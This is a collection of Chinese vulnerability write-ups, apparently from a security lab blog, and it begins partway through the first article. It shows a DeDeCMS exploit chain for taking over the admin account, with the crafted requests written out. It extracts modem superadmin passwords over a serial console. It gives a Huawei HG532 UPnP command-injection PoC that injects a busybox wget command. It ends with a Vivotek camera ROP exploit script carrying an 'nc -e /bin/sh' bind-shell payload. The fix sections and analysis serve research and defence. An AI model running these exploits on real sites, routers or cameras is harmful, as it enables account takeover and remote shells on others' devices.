1. 漏洞只影响前台账户 admin账户在前台是敏感词无法登陆
2. admin账户的前后台密码不一致,无法修改后台密码。
3. 漏洞只影响未设置密保问题的账户##### 2、前台任意用户登陆漏洞
前台任意用户登陆漏洞主要是利用了DeDeCMS的机制问题,通过一个特殊的机制,我们可以获得任意通过后台加密过的cookie,通过这个cookie我们可以绕过登陆,实现任意用户登陆。
漏洞利用有一个限制:
如果后台开启了账户注册审核,那就必须等待审核通过才能进行下一步利用。
##### 3、前台管理员密码修改可影响后台的安全隐患
在DeDeCMS的设计中,admin被设置为不可从前台登陆,但是当后台登陆admin账户的时候,前台同样会登陆管理员账户。
而且在前台的修改密码接口,如果提供了旧密码,admin同样可以修改密码,并且这里修改密码会同步给后台账户。
通过3个漏洞配合,我们可以避开整个漏洞利用下的大部分问题。
前台任意用户密码修改漏洞->修改admin密码,前台任意用户登录漏洞->登陆admin账户,通过刚才修改的admin密码,来重置admin账户密码。
#### 0x03 漏洞复现
##### 1、 登陆admin前台账户
安装DeDeCMS
注册用户名为000001的账户

由于是本地复现漏洞,所以我们直接从数据库中修改为审核通过

访问
http://your_website/member/index.php?uid=0000001

获取cookie中
last_vid_ckMd5
值,设置DeDeUserID_ckMd5
为刚才获取的值,并设置DedeUserID
为0000001访问
http://your_website/member/

##### 2、修改admin前台登陆密码
使用DeDeCMS前台任意用户密码修改漏洞修改admin前台密码。
构造漏洞利用请求
http://yourwebsite/member/resetpassword.phpdopost=safequestion&safequestion=0.0&safeanswer=&id=1
从Burp获取下一步利用链接
/member/resetpassword.php?dopost=getpasswd&id=1&key=nlszc9Kn

直接访问该链接,修改新密码

成功修改登陆admin密码
##### 3、修改后台密码
访问
http://yourwebsite/member/edit_baseinfo.php
使用刚才修改的密码再次修改密码

成功登陆

#### 0x04 代码分析
##### 1、 前台任意用户登陆
在分析漏洞之前,我们先来看看通过cookie获取登陆状态的代码。
/include/memberlogin.class.php 161行

通过GetCookie函数从
DedeUserID
取到了明文的M_ID,通过intval
转化之后,直接从数据库中读取该id对应的用户数据。让我们来看看
GetCookie
函数
/include/helpers/cookie.helper.php 56行

这里的
cfg_cookie_encode
是未知的,DeDeCMS通过这种加盐的方式,来保证cookie只能是服务端设置的,所以我们没办法通过自己设置cookie来登陆其他账户。这里我们需要从别的地方获取这个加密后的值。
/member/index.php 161行

161行存在一段特殊的代码,这段代码是用来更新最新的访客记录的,当
last_vid
没有设置的时候,会把userid
更新到这个变量中,更新到flag中。而这里的
userid
就是注册时的用户名(如果不是已存在的用户名的话,会因为用户不存在无法访问这个页面)。通过这种方式,我们就可以通过已知明文来获取我们想要的密文。
这里我们通过注册
userid
为形似00001或者1aaa这样的用户,在获取登陆状态时,mid
会经过intval
的转化变为1,我们就成功的登陆到admin的账户下。ps:该漏洞影响所有用户
##### 2、前台任意用户密码修改
漏洞主要逻辑在
/member/resetpassword.php
75行至95行
当找回密码的方式为安全问题时
dedecms会从数据库中获取用户的安全问题、回答进行比对,当我们在注册时没设置安全问题时。
从数据库中可以看到默认值为NULL(admin默认没有设置安全问题)

下面是设置了安全问题时数据库的样子,safequestion代表问题的id,safeanswer代表安全问题的回答。
我们需要绕过第一个判断
if(empty($safequestion)) $safequestion = '';
这里我们只要传入
0.0
就可以绕过这里,然后0.0 == 0
为True,第二个判断NULL==""
为True,成功进入sn函数。跟入
/member/inc/inc_pwd_functions.php
第150行
有效时间10分钟,进入newmail函数
跟入
/member/inc/inc_pwd_functions.php
第73行
77行通过random生成了8位的临时密码。
这里我们使用的是安全问题修改密码,所以直接进入94行,将key代入修改页。
跳转进入形似
/member/resetpassword.php?dopost=getpasswd&id=1&key=nlszc9Kn
的链接,进入修改密码流程唯一存在问题的是,这里
&
错误的经过一次编码,所以这里我们只能手动从流量中抓到这个链接,访问修改密码。##### 3、修改后台密码安全隐患
在DeDeCMS的代码中,专门对前台修改管理员密码做了设置,如果是管理员,则一并更新后台密码,也就是这个安全隐患导致了这个问题。
/member/edit_baseinfo.php 119行

#### 0x05 修复方案
截至该文章完成时,DeDeCMS的官方仍然没有修复该漏洞,所以需要采用临时修复方案,等待官方正式修复更新。
由于攻击漏洞涉及到3个漏洞,但官方仍然没有公开补丁,所以只能从一定程度上减小各个漏洞的影响。
- 前台任意用户登陆漏洞:开启新用户注册审核,当发现userid为1xxxx或1时,不予以
通过审核。在官方更新正式补丁之前,可以尝试暂时注释该部分代码,以避免更大的安全隐患
/member/index.php 161-162行

- 前台修改后台管理员密码:设置较为复杂的后台地址,如果后台地址不可发现,则无法登陆后台。
- 前台任意用户密码修改漏洞:修改文件
/member/resetpassword.php
第84行
将其中的==修改为===

即可临时防护该该漏洞。
#### 0x06 ref
[1] DeDeCMS官网
[2] 漏洞详情原文
[3] Seebug漏洞平台
[4] 阿里先知平台漏洞分析1
[5] 阿里先知平台漏洞分析2
[6] 漏洞最早分析原文
-
如何通过TTL调试光猫
作者:Sebao@知道创宇404实验室
序言
众所周知,光猫是现在每个家庭必备的一款设备,但是光猫背面写的账号密码,只是普通用户权限,会限制很多功能。这篇文章讲述,如何通过TTL调试的方法获取光猫超级管理员的权限。
0x00 名词解释
引脚介绍(COM口pin比较多,但是常用的也是这几个):
VCC:供电pin,一般是3.3v,在我们的板子上没有过电保护,这个pin一般不接更安全
GND:接地pin,有的时候rx接受数据有问题,就要接上这个pin,一般也可不接
RX:接收数据pin
TX:发送数据pin,我之前碰到串口只能收数据,不能发数据问题,经baidu,原来是设置了流控制,取消就可以了,适用于putty,SecureCRT
在调试的时候, 多数情况下我们只引出rx,tx即可.
0x01 所需工具:
1,万用表
2,TTL转USB版
3,电烙铁
4,杜邦线若干只
5,SecureCRT
0x02 华为光猫
TTL调试的第一步骤就是拆机,拆机步骤这里就不详细描述。这里先看一下拆下来的光猫板子是什么样子的。
TTL调试我们首先要找出 GND,RX,TX。从图中可以看到,已经标识出了 GND,RX,TX的接口,就需要通过USB转TTL小板串口读取固件。 查找GND,可以用万用表查找。
用杜邦线连接到板子上,线序为GND接GND,RXD接TTL板的TXD,TXD 接TTL板的RXD。
USB端连接上电脑,在控制面板,设备管理器查看串口(一般在COM1-COM12之间),Connection type设置为:Serial,Serial line设置为你电脑上显示的串口,Speed设置为115200,然后连接。接通电源后等待,在这一段时间内串口应该会打印很多启动信息,启动差不多后,敲回车:
然后输入默认的账号root 密码 admin登录进去,输入shell命令,进入busybox.看一下此设备的cpu架构,用的是ARM7.
准备查找超级管理员的密码。进入/mnt/jffs2目录,复制配置文件hw_ctree.xml到myconf.xml.gz中。这个文件是AES加密的,所以先解密,命令为
aescrypt2 1 myconf.xml.gz tmp
。解密后的文件还是被压缩了的,所以要用gzip命令展开压缩文件myconf.xml.gz,得到myconf.xml。命令为:
gzip -d myconf.xml.gz
。然后用 grep 命令 查找telecomadmin,也就是超级管理员的密码。命令为:
grep telecomadmin myconf.xml
0x03 烽火光猫
和上述步骤一样,首先拆开光猫找到 GND,RX,TX。这个板子人性化的已经标明了GND,RX,TX。
所以直接用杜邦线连接到板子上,线序为GND接GND,RXD接TTL板的TXD,TXD 接TTL板的RXD。USB端连接上电脑。
接通电源后等待,在这一段时间内串口应该会打印很多启动信息,这里直接CTRL+C 跳过直接进入shell模式,这个也算是一个“后门”。输入命令
cat proc/cpuinfo
查看cpu的架构。进入shell获取超级管理员的方法差不多,参考上文即可,这里不再详细描述。
0x04 长虹光猫
和上述步骤一样。
因为这里没有针孔,所以需要焊接杜邦线到板子上,以便于固定杜邦线。
USB端连接上电脑。
0x05 总结
感谢 知道创宇404实验室 dawu,fenix提供的思路以及技巧。
-
Huawei HG532 系列路由器远程命令执行漏洞分析
作者:fenix@知道创宇404实验室
English version: https://paper.seebug.org/508/背景
华为 HG532 系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品。
2017/11/27,Check Point 软件技术部门报告了一个华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215)【1】 。
该漏洞在被报告前,互联网上产生了大量未被关注的此类漏洞攻击利用包,遍及全球多个国家。Payload 已被证实是知名病毒 Mirai 的升级版变种 OKIRU/SATORI。该 Payload 功能非常简单,主要通过发送精心制作的 UDP/TCP 报文来对目标发起 DDoS 攻击。
2017/11/23,知道创宇 404 实验室的 ZoomEye 网络探针系统也捕获到了该攻击的 Payload。
漏洞分析
固件下载
网上有 HG532e 版本的公开固件,下载地址【2】
下载该固件,利用 binwalk 直接解压。
目标系统是 MIPS 32 位 大端架构。
漏洞分析
根据 Check Point 的报告【1】,该远程命令执行漏洞的漏洞点位于 UPnP 服务中。
UPnP 是由“通用即插即用论坛”(UPnP™ Forum)推广的一套网络协议。该协议的目标是使家庭网络(数据共享、通信和娱乐)和公司网络中的各种设备能够相互无缝连接,并简化相关网络的实现。
直接将固件中负责 UPnP 服务的 upnp 程序扔到 IDA。
通过字符串
NewStatusURL
对漏洞点进行定位。跟踪数据交叉引用
漏洞点如下
ATP_XML_GetChildNodeByName 函数的定义如下。
程序首先进行 SOAP XML 报文解析,得到元素 NewDownloadURL 和 NewStatusURL 的值。然后进行以下拼接,最终调用 system() 函数执行。
1<ol class="linenums"><li class="L0"><code><span class="pln">snprintf</span><span class="pun">(</span><span class="pln">$s0</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0x400</span><span class="pun">,</span><span class="pln"> </span><span class="str">'upg -g -U %s -t '</span><span class="lit">1</span><span class="pln"> </span><span class="typ">Firmware</span><span class="pln"> </span><span class="typ">Upgrade</span><span class="pln"> </span><span class="typ">Image</span><span class="str">' -c upnp -r %s -d -'</span><span class="pun">,</span><span class="pln"> </span><span class="typ">NewDownloadURL</span><span class="pun">,</span><span class="pln"> </span><span class="typ">NewStatusURL</span><span class="pun">)</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pln">system</span><span class="pun">(</span><span class="pln">$s0</span><span class="pun">)</span></code></li></ol>upg
是路由器的一个升级程序,他的参数功能如下。现在我们有两个命令注入点,
NewDownloadURL
和NewStatusURL
。漏洞验证
目标系统提供了以下命令。
利用 wget 命令进行漏洞测试。发送以下报文。
1<ol class="linenums"><li class="L0"><code><span class="kwd">import</span><span class="pln"> requests</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pln">headers </span><span class="pun">=</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L3"><code><span class="pln"> </span><span class="str">"Authorization"</span><span class="pun">:</span><span class="pln"> </span><span class="str">"Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"</span></code></li><li class="L4"><code><span class="pun">}</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln">data </span><span class="pun">=</span><span class="pln"> </span><span class="str">'''<?xml version="1.0" ?></span></code></li><li class="L7"><code><span class="str"> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"></span></code></li><li class="L8"><code><span class="str"> <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"></span></code></li><li class="L9"><code><span class="str"> <NewStatusURL>;/bin/busybox wget -g 192.168.1.2 -l /tmp/1 -r /1;</NewStatusURL></span></code></li><li class="L0"><code><span class="str"> <NewDownloadURL>HUAWEIUPNP</NewDownloadURL></span></code></li><li class="L1"><code><span class="str"> </u:Upgrade></span></code></li><li class="L2"><code><span class="str"> </s:Body></span></code></li><li class="L3"><code><span class="str"></s:Envelope></span></code></li><li class="L4"><code><span class="str">'''</span></code></li><li class="L5"><code><span class="pln">requests</span><span class="pun">.</span><span class="pln">post</span><span class="pun">(</span><span class="str">'http://192.168.1.1:37215/ctrlt/DeviceUpgrade_1'</span><span class="pun">,</span><span class="pln">headers</span><span class="pun">=</span><span class="pln">headers</span><span class="pun">,</span><span class="pln">data</span><span class="pun">=</span><span class="pln">data</span><span class="pun">)</span></code></li></ol>可以看到,我们成功在监听的端口上收到了请求。
值得一提的是,HG532e 路由器的 uPnP 服务和防火墙都是默认开启的,防火墙默认等级为低级。
在默认设置下,从 WAN 口访问 37215 端口会被防火墙拦截,漏洞无法被利用。
防护方案
2017/11/30,华为官方发布了安全公告【4】,确认了该漏洞。
公告中提到了以下漏洞缓解措施- 配置路由器内置的防火墙
- 更改路由器默认密码
- 在路由器外部署防火墙
是的,没找到固件升级包,所以,没有补丁分析…
总结
- 和爱尔兰宽带路由器 SetNTPServers 命令注入【3】类似,这个漏洞整体来看就是一个简单的命令拼接。
- 该漏洞也为我们漏洞挖掘提供了一个很好的方向。snprintf()、system() 等函数附近的程序逻辑都应该被重点关注。
- 还是那句话,一切进入函数的变量都是有害的。大部分远程命令执行漏洞要么是过滤不全,导致命令拼接。要么是没有进行变量长度控制,造成缓冲区溢出。关于这点设备供应商应该负责任,安全开发意识非常重要。
参考链接
【1】 Check Point 漏洞报告
https://research.checkpoint.com/good-zero-day-skiddie/
【2】 HG532e 固件下载
https://ia601506.us.archive.org/22/items/RouterHG532e/router%20HG532e.rar
【3】 爱尔兰宽带路由器 SetNTPServers 命令注入
https://www.seebug.org/vuldb/ssvid-97024/https://www.seebug.org/vuldb/ssvid-97024
【4】 华为安全公告
http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en/http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en -
Vivotek 摄像头远程栈溢出漏洞分析及利用
作者:fenix@知道创宇404实验室
前言
近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃。
漏洞作者@bashis 放出了可造成摄像头 Crash 的 PoC :https://www.seebug.org/vuldb/ssvid-96866/https://www.seebug.org/vuldb/ssvid-96866
该漏洞在 Vivotek 的摄像头中广泛存在,按照官方的安全公告,会影响以下版本
1<ol class="linenums"><li class="L0"><code><span class="pln">CC8160 CC8370</span><span class="pun">-</span><span class="pln">HV CC8371</span><span class="pun">-</span><span class="pln">HV CD8371</span><span class="pun">-</span><span class="pln">HNTV CD8371</span><span class="pun">-</span><span class="pln">HNVF2 FD8166A</span></code></li><li class="L1"><code><span class="pln">FD8166A</span><span class="pun">-</span><span class="pln">N FD8167A FD8167A</span><span class="pun">-</span><span class="pln">S FD8169A FD8169A</span><span class="pun">-</span><span class="pln">S FD816BA</span><span class="pun">-</span><span class="pln">HF2</span></code></li><li class="L2"><code><span class="pln">FD816BA</span><span class="pun">-</span><span class="pln">HT FD816CA</span><span class="pun">-</span><span class="pln">HF2 FD8177</span><span class="pun">-</span><span class="pln">H FD8179</span><span class="pun">-</span><span class="pln">H FD8182</span><span class="pun">-</span><span class="pln">F1 FD8182</span><span class="pun">-</span><span class="pln">F2</span></code></li><li class="L3"><code><span class="pln">FD8182</span><span class="pun">-</span><span class="pln">T FD8366</span><span class="pun">-</span><span class="pln">V FD8367A</span><span class="pun">-</span><span class="pln">V FD8369A</span><span class="pun">-</span><span class="pln">V FD836BA</span><span class="pun">-</span><span class="pln">EHTV FD836BA</span><span class="pun">-</span><span class="pln">EHVF2</span></code></li><li class="L4"><code><span class="pln">FD836BA</span><span class="pun">-</span><span class="pln">HTV FD836BA</span><span class="pun">-</span><span class="pln">HVF2 FD8377</span><span class="pun">-</span><span class="pln">HV FD8379</span><span class="pun">-</span><span class="pln">HV FD8382</span><span class="pun">-</span><span class="pln">ETV FD8382</span><span class="pun">-</span><span class="pln">EVF2</span></code></li><li class="L5"><code><span class="pln">FD8382</span><span class="pun">-</span><span class="pln">TV FD8382</span><span class="pun">-</span><span class="pln">VF2 FD9171</span><span class="pun">-</span><span class="pln">HT FD9181</span><span class="pun">-</span><span class="pln">HT FD9371</span><span class="pun">-</span><span class="pln">EHTV FD9371</span><span class="pun">-</span><span class="pln">HTV</span></code></li><li class="L6"><code><span class="pln">FD9381</span><span class="pun">-</span><span class="pln">EHTV FD9381</span><span class="pun">-</span><span class="pln">HTV FE8182 FE9181</span><span class="pun">-</span><span class="pln">H FE9182</span><span class="pun">-</span><span class="pln">H FE9191</span></code></li><li class="L7"><code><span class="pln">FE9381</span><span class="pun">-</span><span class="pln">EHV FE9382</span><span class="pun">-</span><span class="pln">EHV FE9391</span><span class="pun">-</span><span class="pln">EV IB8360 IB8360</span><span class="pun">-</span><span class="pln">W IB8367A</span></code></li><li class="L8"><code><span class="pln">IB8369A IB836BA</span><span class="pun">-</span><span class="pln">EHF3 IB836BA</span><span class="pun">-</span><span class="pln">EHT IB836BA</span><span class="pun">-</span><span class="pln">HF3 IB836BA</span><span class="pun">-</span><span class="pln">HT IB8377</span><span class="pun">-</span><span class="pln">H</span></code></li><li class="L9"><code><span class="pln">IB8379</span><span class="pun">-</span><span class="pln">H IB8382</span><span class="pun">-</span><span class="pln">EF3 IB8382</span><span class="pun">-</span><span class="pln">ET IB8382</span><span class="pun">-</span><span class="pln">F3 IB8382</span><span class="pun">-</span><span class="pln">T IB9371</span><span class="pun">-</span><span class="pln">EHT</span></code></li><li class="L0"><code><span class="pln">IB9371</span><span class="pun">-</span><span class="pln">HT IB9381</span><span class="pun">-</span><span class="pln">EHT IB9381</span><span class="pun">-</span><span class="pln">HT IP8160 IP8160</span><span class="pun">-</span><span class="pln">W IP8166</span></code></li><li class="L1"><code><span class="pln">IP9171</span><span class="pun">-</span><span class="pln">HP IP9181</span><span class="pun">-</span><span class="pln">H IZ9361</span><span class="pun">-</span><span class="pln">EH MD8563</span><span class="pun">-</span><span class="pln">EHF2 MD8563</span><span class="pun">-</span><span class="pln">EHF4 MD8563</span><span class="pun">-</span><span class="pln">HF2</span></code></li><li class="L2"><code><span class="pln">MD8563</span><span class="pun">-</span><span class="pln">HF4 MD8564</span><span class="pun">-</span><span class="pln">EH MD8565</span><span class="pun">-</span><span class="pln">N SD9161</span><span class="pun">-</span><span class="pln">H SD9361</span><span class="pun">-</span><span class="pln">EHL SD9362</span><span class="pun">-</span><span class="pln">EH</span></code></li><li class="L3"><code><span class="pln">SD9362</span><span class="pun">-</span><span class="pln">EHL SD9363</span><span class="pun">-</span><span class="pln">EHL SD9364</span><span class="pun">-</span><span class="pln">EH SD9364</span><span class="pun">-</span><span class="pln">EHL SD9365</span><span class="pun">-</span><span class="pln">EHL SD9366</span><span class="pun">-</span><span class="pln">EH</span></code></li><li class="L4"><code><span class="pln">SD9366</span><span class="pun">-</span><span class="pln">EHL VS8100</span><span class="pun">-</span><span class="pln">V2</span></code></li></ol>Vivotek 官方提供了各种型号摄像头的固件下载:http://www.vivotek.com/firmware/ ,这也为我们的研究带来了很多便利。
我们发现,漏洞被曝出之后,在官网固件下载页面中的大多数固件均早于漏洞曝出时间,我们下载了几款摄像头的最新固件进行验证,发现漏洞依然存在,这意味着截止漏洞被曝出,Vivotek 官方对该漏洞的修复并不彻底。众所周知,栈溢出是存在潜在的远程命令执行风险的,为了深入了解该漏洞的影响,我们决定研究下该漏洞的原理及利用。
调试环境搭建
固件下载
由于手头上并没有 Vivotek 的摄像头,我们在官网下载其中一款摄像头固件,使用
qemu
模拟运行。(注:官方在陆续发布各个版本的固件更新,可根据固件发布时间判断官方是否已经修复漏洞)首先下载摄像头固件:http://download.vivotek.com/downloadfile/downloads/firmware/cc8160firmware.zip/http://download.vivotek.com/downloadfile/downloads/firmware/cc8160firmware.zip
通过
binwalk
直接解压出其中的文件系统,和漏洞有关的主要文件如下根据
file
命令的结果可知目标架构为ARM
、小端、32位。且该 ELF 文件为动态链接。修复运行依赖
尝试用
qemu
运行,结果如下服务没有运行起来,且没有明显的报错,猜想到可能是缺少某些依赖,程序直接退出了,扔到 IDA,从程序退出前的提示:
gethostbyname:: Success
,回溯程序异常退出原因。依次加载IDA 菜单栏 -> View -> Open subviews -> Strings,
Command + F
搜索gethostname
查看交叉引用信息,定位相应代码段
异常退出部分代码如下
为了看的更直观,我们来贴一下
F5
的结果,如下这部分主要涉及两个函数。gethostname():返回本地主机的标准主机名,如果函数成功,则返回 0。如果发生错误则返回 -1。gethostbyname():用域名或主机名获取IP地址。
Linux 操作系统的 hostname 是一个 kernel 变量,可以通过 hostname 命令来查看本机的 hostname。也可以直接
cat /proc/sys/kernel/hostname
查看。我们只需要将二者改成一致,httpd 服务即可成功运行。
调试环境
为了方便调试,还需要搭建 qemu 虚拟机环境。
qemu 镜像文件下载:https://people.debian.org/~aurel32/qemu/armel/ (下载内核 3.2 的版本)
远程调试 gdbserver:https://github.com/mzpqnxow/gdb-static-cross/tree/master/prebuilt-static/https://github.com/mzpqnxow/gdb-static-cross/tree/master/prebuilt-static
qemu 虚拟机建议采用
桥接
方式和主机连接。1<ol class="linenums"><li class="L0"><code class="lang-bash"><span class="com">#!/bin/bash</span></code></li><li class="L1"><code class="lang-bash"></code></li><li class="L2"><code class="lang-bash"><span class="pln">sudo tunctl </span><span class="pun">-</span><span class="pln">t tap0 </span><span class="pun">-</span><span class="pln">u </span><span class="str">`whoami`</span></code></li><li class="L3"><code class="lang-bash"><span class="pln">sudo ifconfig tap0 </span><span class="lit">192.168</span><span class="pun">.</span><span class="lit">2.1</span><span class="pun">/</span><span class="lit">24</span></code></li><li class="L4"><code class="lang-bash"><span class="pln">qemu</span><span class="pun">-</span><span class="pln">system</span><span class="pun">-</span><span class="pln">arm </span><span class="pun">-</span><span class="pln">M versatilepb </span><span class="pun">-</span><span class="pln">kernel vmlinuz</span><span class="pun">-</span><span class="lit">3.2</span><span class="pun">.</span><span class="lit">0</span><span class="pun">-</span><span class="lit">4</span><span class="pun">-</span><span class="pln">versatile </span><span class="pun">-</span><span class="pln">initrd initrd</span><span class="pun">.</span><span class="pln">img</span><span class="pun">-</span><span class="lit">3.2</span><span class="pun">.</span><span class="lit">0</span><span class="pun">-</span><span class="lit">4</span><span class="pun">-</span><span class="pln">versatile </span><span class="pun">-</span><span class="pln">hda debian_wheezy_armel_standard</span><span class="pun">.</span><span class="pln">qcow2 </span><span class="pun">-</span><span class="pln">append </span><span class="str">"root=/dev/sda1"</span><span class="pln"> </span><span class="pun">-</span><span class="pln">net nic </span><span class="pun">-</span><span class="pln">net tap</span><span class="pun">,</span><span class="pln">ifname</span><span class="pun">=</span><span class="pln">tap0</span><span class="pun">,</span><span class="pln">script</span><span class="pun">=</span><span class="pln">no</span><span class="pun">,</span><span class="pln">downscript</span><span class="pun">=</span><span class="pln">no </span><span class="pun">-</span><span class="pln">nographic</span></code></li></ol>启动虚拟机,进行简单配置等待远程调试。
漏洞研究
定位溢出点
以下为漏洞作者 @bashis 提供的 PoC
1<ol class="linenums"><li class="L0"><code><span class="pln">echo </span><span class="pun">-</span><span class="pln">en </span><span class="str">"POST /cgi-bin/admin/upgrade.cgi </span></code></li><li class="L1"><code><span class="str">HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"</span><span class="pln"> </span><span class="pun">|</span><span class="pln"> ncat </span><span class="pun">-</span><span class="pln">v </span><span class="lit">192.168</span><span class="pun">.</span><span class="lit">57.20</span><span class="pln"> </span><span class="lit">80</span></code></li></ol>老套路, 根据
Content-Length
很容易定位到溢出点,如下惊讶到了,strncpy() 函数的长度参数竟然这么用,妥妥的溢出。
调用栈布局
dest
缓冲区起始地址距离栈底0x38
字节,栈上依次为 LR、R11-R4。Content-Length
长度超过 0x38 - 4 字节就会覆盖函数的返回地址 LR。exp 研究
strncpy()
函数引起的栈溢出,在利用时就会有很 egg hurt 的0x00
坏字符问题,如果我们的输入数据中包含0x00
,将会被截断导致漏洞利用失败。根据溢出点附近的汇编代码来看,0x0a
也会被截断。且开启了NX
保护,这意味着我们无法在栈上部署shellcode
。
尝试通过
return2libc
的方式 getshell。由于没有实际的摄像头,我们不知道目标系统是否开启了ASLR
,如果ASLR
是开启的且没有其它可用来暴露libC
动态链接库内存地址的漏洞,那么利用该漏洞将会是一个很难受的过程。采用以下方式暂时关闭
ASLR
1<ol class="linenums"><li class="L0"><code><span class="pln">echo </span><span class="lit">0</span><span class="pln"> </span><span class="pun">></span><span class="pln"> </span><span class="str">/proc/</span><span class="pln">sys</span><span class="pun">/</span><span class="pln">kernel</span><span class="pun">/</span><span class="pln">randomize_va_space</span></code></li></ol>libC
库的加载地址如下接下来就需要精心构造数据,劫持函数的执行流程了。有一点需要注意,X86 架构下的所有参数都是通过堆栈传递的,而在 MIPS 和 ARM 架构中,会优先通过寄存器传递参数,如果参数个数超过了寄存器的数量,则将剩下的参数压入调用参数空间(即堆栈)。
从前面的分析来看,只要我们构造 0x38 - 4 字节以上的数据,栈底的函数返回地址就会被我们劫持。system() 函数地址 =
libC
库在内存中的加载基址 + system() 函数在libC
库中的偏移,通过劫持该地址为libC
库中的 system() 函数地址,再设置R0
寄存器指向命令字符串,就可以执行任意命令。经过验证,
nc
命令可以正常使用。接下来我们开始构造
ROP
利用链,大致思路见以下汇编代码。Github 上有个很赞的项目:https://github.com/JonathanSalwan/ROPgadget/https://github.com/JonathanSalwan/ROPgadget
它可以用来搜索 ELF 文件中的 gadgets,方便我们构造 ROP 链。
我们需要将字符串参数
nc -lp2222 -e/bin/sh
部署到栈上,并且将地址存入R0
。该参数包含 20 个字节,且不含坏字符。libC
基址为0xb6f2d000
,由该地址可知 gadget 在内存中的有效地址。发生溢出时栈顶地址为0xbeffeb50
。利用
ROPgadget
搜索可用的 gadgets,在选择 gadget 时要还考虑坏字符的问题。比如说如下的 gadget 就不得行。再搜索一条可用的 gadget,俗称曲线救国。
选择以下两条 gadget,构造
ROP
如下。1<ol class="linenums"><li class="L0"><code><span class="com"># 基于 qemu 模拟环境</span></code></li><li class="L1"><code><span class="com"># 摄像头型号:Vivotek CC8160</span></code></li><li class="L2"><code><span class="com"># 0x00048784 : pop {r1, pc} </span></code></li><li class="L3"><code><span class="com"># 0x00016aa4 : mov r0, r1 ; pop {r4, r5, pc}</span></code></li><li class="L4"><code></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="com">#!/usr/bin/python</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="kwd">from</span><span class="pln"> pwn </span><span class="kwd">import</span><span class="pln"> </span><span class="pun">*</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln">libc_base </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0xb6f2d000</span><span class="pln"> </span><span class="com"># libC 库在内存中的加载地址</span></code></li><li class="L1"><code><span class="pln">stack_base </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0xbeffeb70</span><span class="pln"> </span><span class="com"># 崩溃时 SP 寄存器的地址</span></code></li><li class="L2"><code><span class="pln">libc_elf </span><span class="pun">=</span><span class="pln"> ELF</span><span class="pun">(</span><span class="str">'libuClibc-0.9.33.3-git.so'</span><span class="pun">)</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln">payload </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="lit">0x38</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="lit">4</span><span class="pun">)</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="str">'a'</span><span class="pln"> </span><span class="com"># padding</span></code></li><li class="L5"><code><span class="pln">payload </span><span class="pun">+=</span><span class="pln"> p32</span><span class="pun">(</span><span class="lit">0x00048784</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> libc_base</span><span class="pun">)</span><span class="pln"> </span><span class="com"># gadget1</span></code></li><li class="L6"><code><span class="pln">payload </span><span class="pun">+=</span><span class="pln"> p32</span><span class="pun">(</span><span class="lit">0x80</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> stack_base</span><span class="pun">)</span><span class="pln"> </span><span class="com"># 栈中命令参数地址</span></code></li><li class="L7"><code><span class="pln">payload </span><span class="pun">+=</span><span class="pln"> p32</span><span class="pun">(</span><span class="lit">0x00016aa4</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> libc_base</span><span class="pun">)</span><span class="pln"> </span><span class="com"># gadget2</span></code></li><li class="L8"><code><span class="pln">payload </span><span class="pun">+=</span><span class="pln"> </span><span class="pun">(</span><span class="lit">0x8</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="str">'a'</span><span class="pun">)</span><span class="pln"> </span><span class="com"># padding</span></code></li><li class="L9"><code><span class="pln">payload </span><span class="pun">+=</span><span class="pln"> p32</span><span class="pun">(</span><span class="pln">libc_elf</span><span class="pun">.</span><span class="pln">symbols</span><span class="pun">[</span><span class="str">'system'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> libc_base</span><span class="pun">)</span><span class="pln"> </span><span class="com"># 内存中 system() 函数地址</span></code></li><li class="L0"><code><span class="pln">payload </span><span class="pun">+=</span><span class="pln"> </span><span class="pun">(</span><span class="str">'pwd;'</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="lit">0x100</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="str">'nc\x20-lp2222\x20-e/bin/sh\x20>'</span><span class="pun">)</span><span class="pln"> </span><span class="com"># 命令参数</span></code></li><li class="L1"><code></code></li><li class="L2"><code></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln">payload </span><span class="pun">=</span><span class="pln"> </span><span class="str">'echo -en "POST /cgi-bin/admin/upgrade.cgi \nHTTP/1.0\nContent-Length:{}\n\r\n\r\n" | nc -v 192.168.2.2 80'</span><span class="pun">.</span><span class="pln">format</span><span class="pun">(</span><span class="pln">payload</span><span class="pun">)</span></code></li></ol>通过调试 ,我们可以获得崩溃时的栈顶地址,为了确保命令能执行,我们在真正要执行的命令前加了部分命令作为缓冲。
可以看到,开启了
NX
